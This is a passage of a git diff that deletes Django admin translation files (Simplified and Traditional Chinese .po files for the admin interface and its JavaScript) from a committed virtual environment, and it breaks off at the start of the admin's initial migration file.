"点击选择全部%s。" - -msgid "Choose" -msgstr "选择" - -msgid "Remove" -msgstr "删除" - -#, javascript-format -msgid "Chosen %s" -msgstr "选中的 %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"这是选中的 %s 的列表。你可以在选择框下面进行选择,然后点击两选框之间的“删" -"除”箭头进行删除。" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "在该框中键入以过滤所选%s的列表。" - -msgid "Remove all" -msgstr "删除全部" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "删除所有已选择的%s。" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s所选选项不可见" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "选中了 %(cnt)s 个中的 %(sel)s 个" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"你尚未保存一个可编辑栏位的变更. 如果你进行别的动作, 未保存的变更将会丢失." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"你已经选择一个动作,但是你没有保存你单独修改的地方。请点击OK保存。你需要再重" -"新跑这个动作。" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"你已经选择一个动作,但是没有单独修改任何一处。你可以选择'Go'按键而不" -"是'Save'按键。" - -msgid "Now" -msgstr "现在" - -msgid "Midnight" -msgstr "午夜" - -msgid "6 a.m." -msgstr "上午6点" - -msgid "Noon" -msgstr "正午" - -msgid "6 p.m." -msgstr "下午6点" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "注意:你比服务器时间超前 %s 个小时。" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "注意:你比服务器时间滞后 %s 个小时。" - -msgid "Choose a Time" -msgstr "选择一个时间" - -msgid "Choose a time" -msgstr "选择一个时间" - -msgid "Cancel" -msgstr "取消" - -msgid "Today" -msgstr "今天" - -msgid "Choose a Date" -msgstr "选择一个日期" - -msgid "Yesterday" -msgstr "昨天" - -msgid "Tomorrow" -msgstr "明天" - -msgid "January" -msgstr "一月" - -msgid "February" -msgstr "二月" - -msgid "March" -msgstr "三月" - -msgid "April" -msgstr "四月" - -msgid "May" -msgstr "五月" - -msgid "June" -msgstr "六月" - -msgid "July" -msgstr "七月" - -msgid "August" -msgstr "八月" - -msgid "September" -msgstr "九月" - -msgid "October" -msgstr "十月" - -msgid "November" -msgstr "十一月" - -msgid "December" -msgstr "十二月" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "一月" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "二月" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "三月" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "四月" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "五月" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "六月" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "七月" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "八月" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "九月" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "十月" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "十一月" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "十二月" - -msgid "Sunday" -msgstr "星期日" - -msgid "Monday" -msgstr "星期一" - -msgid "Tuesday" -msgstr "星期二" - -msgid "Wednesday" -msgstr "星期三" - -msgid "Thursday" -msgstr "星期四" - -msgid "Friday" -msgstr "星期五" - -msgid "Saturday" -msgstr "星期六" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "星期日" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "星期一" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "星期二" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "星期三" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "星期四" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "星期五" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "星期六" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "W" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "T" - -msgctxt "one letter Friday" -msgid "F" -msgstr "F" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "显示" - -msgid "Hide" -msgstr "隐藏" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/django.mo deleted file mode 100644 index 1ad4be48..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/django.po deleted file mode 100644 index 225da643..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/django.po +++ /dev/null @@ -1,762 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Chen Chun-Chia , 2015 -# coby2023t, 2025 -# ilay , 2012 -# Jannis Leidel , 2011 -# mail6543210 , 2013-2014 -# 0a3cb7bfd0810218facdfb511e592a6d_8d19d07 , 2011 -# tcc , 2011 -# Tzu-ping Chung , 2016-2017 -# YAO WEN LIANG, 2024 -# Yeh-Yung , 2013 -# coby2023t, 2024 -# Yeh-Yung , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: coby2023t, 2025\n" -"Language-Team: Chinese (Taiwan) (http://app.transifex.com/django/django/" -"language/zh_TW/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: zh_TW\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "刪除所選的 %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "成功的刪除了 %(count)d 個 %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "無法刪除 %(name)s" - -msgid "Delete multiple objects" -msgstr "刪除多個物件" - -msgid "Administration" -msgstr "管理" - -msgid "All" -msgstr "全部" - -msgid "Yes" -msgstr "是" - -msgid "No" -msgstr "否" - -msgid "Unknown" -msgstr "未知" - -msgid "Any date" -msgstr "任何日期" - -msgid "Today" -msgstr "今天" - -msgid "Past 7 days" -msgstr "過去 7 天" - -msgid "This month" -msgstr "本月" - -msgid "This year" -msgstr "今年" - -msgid "No date" -msgstr "沒有日期" - -msgid "Has date" -msgstr "有日期" - -msgid "Empty" -msgstr "空的" - -msgid "Not empty" -msgstr "非空的" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "請輸入正確的工作人員帳號%(username)s及密碼。請注意兩者皆區分大小寫。" - -msgid "Action:" -msgstr "動作:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "新增其它 %(verbose_name)s" - -msgid "Remove" -msgstr "移除" - -msgid "Addition" -msgstr "新增" - -msgid "Change" -msgstr "修改" - -msgid "Deletion" -msgstr "删除" - -msgid "action time" -msgstr "動作時間" - -msgid "user" -msgstr "使用者" - -msgid "content type" -msgstr "內容類型" - -msgid "object id" -msgstr "物件 id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "物件 repr" - -msgid "action flag" -msgstr "動作旗標" - -msgid "change message" -msgstr "修改訊息" - -msgid "log entry" -msgstr "日誌記錄" - -msgid "log entries" -msgstr "日誌紀錄" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\" 已新增。" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "\"%(object)s\" - %(changes)s 已修改。" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" 已刪除。" - -msgid "LogEntry Object" -msgstr "日誌記錄物件" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} \"{object}\" 已新增。" - -msgid "Added." -msgstr "已新增。" - -msgid "and" -msgstr "和" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} \"{object}\" 的 {fields} 已修改。" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} 已修改。" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} \"{object}\" 已刪除。" - -msgid "No fields changed." -msgstr "沒有欄位被修改。" - -msgid "None" -msgstr "無" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "按住 \"Control\", 或者在 Mac 上按 \"Command\", 以選取更多值" - -msgid "Select this object for an action - {}" -msgstr "選擇此對象進行操作 - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" 已成功新增。" - -msgid "You may edit it again below." -msgstr "您可以在下面再次編輯它." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "{name} \"{obj}\" 新增成功。你可以在下方加入其他 {name}。" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} \"{obj}\" 修改成功。你可以在下方再次編輯。" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} \"{obj}\" 修改成功。你可以在下方加入其他 {name}。" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "成功修改了 {name}“{obj}”。" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "必須要有項目被選中才能進行動作。沒有任何項目被修改。" - -msgid "No action selected." -msgstr "沒有動作被選取。" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "成功删除了 %(name)s“%(obj)s”。" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "不存在 ID 為「%(key)s」的 %(name)s。或許它已被刪除?" - -#, python-format -msgid "Add %s" -msgstr "新增 %s" - -#, python-format -msgid "Change %s" -msgstr "修改 %s" - -#, python-format -msgid "View %s" -msgstr "查看 %s" - -msgid "Database error" -msgstr "資料庫錯誤" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "共 %(count)s %(name)s 已修改成功。" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "選取了 %(total_count)s 個" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s 中 0 個被選取" - -msgid "Delete" -msgstr "刪除" - -#, python-format -msgid "Change history: %s" -msgstr "修改歷史: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"刪除 %(class_name)s %(instance)s 將會同時刪除下面受保護的相關物件:" -"%(related_objects)s" - -msgid "Django site admin" -msgstr "Django 網站管理" - -msgid "Django administration" -msgstr "Django 管理" - -msgid "Site administration" -msgstr "網站管理" - -msgid "Log in" -msgstr "登入" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s 管理" - -msgid "Page not found" -msgstr "找不到頁面" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "很抱歉,請求頁面不存在。" - -msgid "Home" -msgstr "首頁" - -msgid "Server error" -msgstr "伺服器錯誤" - -msgid "Server error (500)" -msgstr "伺服器錯誤 (500)" - -msgid "Server Error (500)" -msgstr "伺服器錯誤 (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"存在一個錯誤。已透過電子郵件回報給網站管理員,並且應該很快就會被修正。謝謝您" -"的耐心等待。" - -msgid "Run the selected action" -msgstr "執行選取的動作" - -msgid "Go" -msgstr "執行" - -msgid "Click here to select the objects across all pages" -msgstr "點選這裡可選取全部頁面的物件" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "選擇全部 %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "清除選擇" - -msgid "Breadcrumbs" -msgstr "導覽路徑" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s 應用程式中的模型" - -msgid "Model name" -msgstr "型號" - -msgid "Add link" -msgstr "加入鏈結" - -msgid "Change or view list link" -msgstr "更改或檢視列表鏈結" - -msgid "Add" -msgstr "新增" - -msgid "View" -msgstr "查看" - -msgid "You don’t have permission to view or edit anything." -msgstr "你沒有查看或編輯的權限。" - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "建立帳號後即可編輯更多用戶選項。" - -msgid "Error:" -msgstr "錯誤:" - -msgid "Change password" -msgstr "修改密碼" - -msgid "Set password" -msgstr "設定密碼" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "請修正以下錯誤。" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "為使用者%(username)s輸入一個新的密碼。" - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "這會 啟用 本用戶基於密碼的驗證" - -msgid "Disable password-based authentication" -msgstr "停用基於密碼的驗證" - -msgid "Enable password-based authentication" -msgstr "啟用基於密碼的驗證" - -msgid "Skip to main content" -msgstr "跳到主要內容" - -msgid "Welcome," -msgstr "歡迎," - -msgid "View site" -msgstr "檢視網站" - -msgid "Documentation" -msgstr "文件" - -msgid "Log out" -msgstr "登出" - -#, python-format -msgid "Add %(name)s" -msgstr "新增 %(name)s" - -msgid "History" -msgstr "歷史" - -msgid "View on site" -msgstr "在網站上檢視" - -msgid "Filter" -msgstr "過濾器" - -msgid "Hide counts" -msgstr "隱藏計數" - -msgid "Show counts" -msgstr "顯示計數" - -msgid "Clear all filters" -msgstr "清除所有篩選" - -msgid "Remove from sorting" -msgstr "從排序中移除" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "優先排序:%(priority_number)s" - -msgid "Toggle sorting" -msgstr "切換排序" - -msgid "Toggle theme (current theme: auto)" -msgstr "切換主題(當前主題:自動)" - -msgid "Toggle theme (current theme: light)" -msgstr "切換主題(當前主題:淺色)" - -msgid "Toggle theme (current theme: dark)" -msgstr "切換主題(當前主題:深色)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"刪除 %(object_name)s '%(escaped_object)s' 會把相關的物件也刪除,不過你的帳號" -"並沒有刪除以下型態物件的權限:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"要刪除 %(object_name)s '%(escaped_object)s', 將要求刪除下面受保護的相關物件:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"你確定想要刪除 %(object_name)s \"%(escaped_object)s\"?以下所有的相關項目都會" -"被刪除:" - -msgid "Objects" -msgstr "物件" - -msgid "Yes, I’m sure" -msgstr "是的,我確定" - -msgid "No, take me back" -msgstr "不,返回" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"要刪除所選的 %(objects_name)s, 結果會刪除相關物件, 但你的帳號無權刪除下面物件" -"型態:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "要刪除所選的 %(objects_name)s, 將要求刪除下面受保護的相關物件:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"你是否確定要刪除已選的 %(objects_name)s? 下面全部物件及其相關項目都將被刪除:" - -msgid "Delete?" -msgstr "刪除?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " 以 %(filter_title)s" - -msgid "Summary" -msgstr "總結" - -msgid "Recent actions" -msgstr "最近的動作" - -msgid "My actions" -msgstr "我的動作" - -msgid "None available" -msgstr "無資料" - -msgid "Added:" -msgstr "已新增。" - -msgid "Changed:" -msgstr "已修改:" - -msgid "Deleted:" -msgstr "已刪除:" - -msgid "Unknown content" -msgstr "未知內容" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"你的資料庫安裝有錯誤。確定資料庫表格已經建立,並確定資料庫可被合適的使用者讀" -"取。" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"您目前以%(username)s登入,但並沒有瀏覽此頁面的權限。您是否希望以其他帳號登" -"入?" - -msgid "Forgotten your login credentials?" -msgstr "忘記您的簽入証 ?" - -msgid "Toggle navigation" -msgstr "切換導航" - -msgid "Sidebar" -msgstr "側邊欄" - -msgid "Start typing to filter…" -msgstr "輸入內容開始篩選..." - -msgid "Filter navigation items" -msgstr "篩選導航項目" - -msgid "Date/time" -msgstr "日期/時間" - -msgid "User" -msgstr "使用者" - -msgid "Action" -msgstr "動作" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "紀錄項目" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "該物件沒有修改的歷史紀錄。它可能不是透過此管理網站新增的。" - -msgid "Show all" -msgstr "顯示全部" - -msgid "Save" -msgstr "儲存" - -msgid "Popup closing…" -msgstr "關閉彈跳視窗中..." - -msgid "Search" -msgstr "搜尋" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s 結果" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "總共 %(full_result_count)s" - -msgid "Save as new" -msgstr "儲存為新的" - -msgid "Save and add another" -msgstr "儲存並新增另一個" - -msgid "Save and continue editing" -msgstr "儲存並繼續編輯" - -msgid "Save and view" -msgstr "儲存並查看" - -msgid "Close" -msgstr "關閉" - -#, python-format -msgid "Change selected %(model)s" -msgstr "修改所選的 %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "新增其它 %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "刪除所選的 %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "查看已選擇的%(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "感謝您今天在網站上度過了一段美好的時光。" - -msgid "Log in again" -msgstr "重新登入" - -msgid "Password change" -msgstr "密碼修改" - -msgid "Your password was changed." -msgstr "您的密碼已修改。" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "為了安全上的考量,請輸入你的舊密碼,然後輸入兩次新密碼已確保輸入正確。" - -msgid "Change my password" -msgstr "修改我的密碼" - -msgid "Password reset" -msgstr "重設密碼" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "你的密碼已設置,現在可以繼續登入。" - -msgid "Password reset confirmation" -msgstr "密碼重設確認" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "請輸入新密碼兩次, 以便系統確認輸入無誤。" - -msgid "New password:" -msgstr "新密碼:" - -msgid "Confirm password:" -msgstr "確認密碼:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "密碼重設連結無效,可能已被使用。請重新申請密碼重設。" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"若您提交的電子郵件地址存在對應帳號,我們已寄出重設密碼的相關指示。您應該很快" -"就會收到。" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"如果您未收到電子郵件,請確認您輸入的電子郵件地址與您註冊時輸入的一致,並檢查" -"您的垃圾郵件匣。" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "這封電子郵件來自 %(site_name)s,因為您要求為帳號重新設定密碼。" - -msgid "Please go to the following page and choose a new password:" -msgstr "請到該頁面選擇一個新的密碼:" - -msgid "In case you’ve forgotten, you are:" -msgstr "如果您真忘了,您是: " - -msgid "Thanks for using our site!" -msgstr "感謝使用本網站!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s 團隊" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"忘記您的密碼? 請在下面輸入您的電子郵件, 然後我們會寄出設定新密碼的操作指示。" - -msgid "Email address:" -msgstr "電子信箱:" - -msgid "Reset my password" -msgstr "重設我的密碼" - -msgid "Select all objects on this page for an action" -msgstr "選擇此頁面上的所有物件執行操作" - -msgid "All dates" -msgstr "所有日期" - -#, python-format -msgid "Select %s" -msgstr "選擇 %s" - -#, python-format -msgid "Select %s to change" -msgstr "選擇 %s 來修改" - -#, python-format -msgid "Select %s to view" -msgstr "選擇%s查看" - -msgid "Date:" -msgstr "日期" - -msgid "Time:" -msgstr "時間" - -msgid "Lookup" -msgstr "查找" - -msgid "Currently:" -msgstr "目前:" - -msgid "Change:" -msgstr "變動:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 80e50526..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/djangojs.po deleted file mode 100644 index 6d8705f9..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hant/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,309 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# coby2023t, 2025 -# ilay , 2012 -# mail6543210 , 2013 -# tcc , 2011 -# Tzu-ping Chung , 2016 -# YAO WEN LIANG, 2024 -# Yeh-Yung , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: coby2023t, 2025\n" -"Language-Team: Chinese (Taiwan) (http://app.transifex.com/django/django/" -"language/zh_TW/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: zh_TW\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "可用 %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "想選擇 %s 可先選取它們再點 \"選取\" 箭頭按鈕。" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "在此框輸入以過濾可用的 %s 列表。" - -msgid "Filter" -msgstr "過濾器" - -#, javascript-format -msgid "Choose all %s" -msgstr "選取全部 %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "選擇已選取的 %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s 被選" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "想移除 %s 可先選取它們再點 \"移除\" 箭頭按鈕。" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "在此框輸入以過濾所選的 %s 列表。" - -msgid "(click to clear)" -msgstr "(點擊清除)" - -#, javascript-format -msgid "Remove all %s" -msgstr "移除全部 %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s所選選項不可見" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s 中 %(sel)s 個被選" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "你尚未儲存一個可編輯欄位的變更。如果你執行動作, 未儲存的變更將會遺失。" - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"你已選了一個操作, 但有一個可編輯欄位的變更尚未儲存。請點選 OK 進行儲存。你需" -"要重新執行該動作。" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"你已選了一個操作, 但沒有任何改變。你可能動到 '執行' 按鈕, 而不是 '儲存' 按" -"鈕。" - -msgid "Now" -msgstr "現在" - -msgid "Midnight" -msgstr "午夜" - -msgid "6 a.m." -msgstr "上午 6 點" - -msgid "Noon" -msgstr "中午" - -msgid "6 p.m." -msgstr "下午 6 點" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "備註:您的電腦時間比伺服器快 %s 小時。" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "備註:您的電腦時間比伺服器慢 %s 小時。" - -msgid "Choose a Time" -msgstr "選擇一個時間" - -msgid "Choose a time" -msgstr "選擇一個時間" - -msgid "Cancel" -msgstr "取消" - -msgid "Today" -msgstr "今天" - -msgid "Choose a Date" -msgstr "選擇一個日期" - -msgid "Yesterday" -msgstr "昨天" - -msgid "Tomorrow" -msgstr "明天" - -msgid "January" -msgstr "一月" - -msgid "February" -msgstr "二月" - -msgid "March" -msgstr "三月" - -msgid "April" -msgstr "四月" - -msgid "May" -msgstr "五月" - -msgid "June" -msgstr "六月" - -msgid "July" -msgstr "七月" - -msgid "August" -msgstr "八月" - -msgid "September" -msgstr "九月" - -msgid "October" -msgstr "十月" - -msgid "November" -msgstr "十一月" - -msgid "December" -msgstr "十二月" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "一月" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "二月" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "三月" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "四月" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "五月" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "六月" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "七月" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "八月" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "九月" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "十月" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "十一月" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "十二月" - -msgid "Sunday" -msgstr "星期日" - -msgid "Monday" -msgstr "星期一" - -msgid "Tuesday" -msgstr "星期二" - -msgid "Wednesday" -msgstr "星期三" - -msgid "Thursday" -msgstr "星期四" - -msgid "Friday" -msgstr "星期五" - -msgid "Saturday" -msgstr "星期六" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "星期日" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "星期一" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "星期二" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "星期三" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "星期四" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "星期五" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "星期六" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "日" - -msgctxt "one letter Monday" -msgid "M" -msgstr "一" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "二" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "三" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "四" - -msgctxt "one letter Friday" -msgid "F" -msgstr "五" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "六" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0001_initial.py b/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0001_initial.py deleted file mode 100644 index 6270e103..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0001_initial.py +++ /dev/null @@ -1,75 +0,0 @@ -import django.contrib.admin.models -from django.conf import settings -from django.db import migrations, models - - -class Migration(migrations.Migration): - dependencies = [ - migrations.swappable_dependency(settings.AUTH_USER_MODEL), - ("contenttypes", "__first__"), - ] - - operations = [ - migrations.CreateModel( - 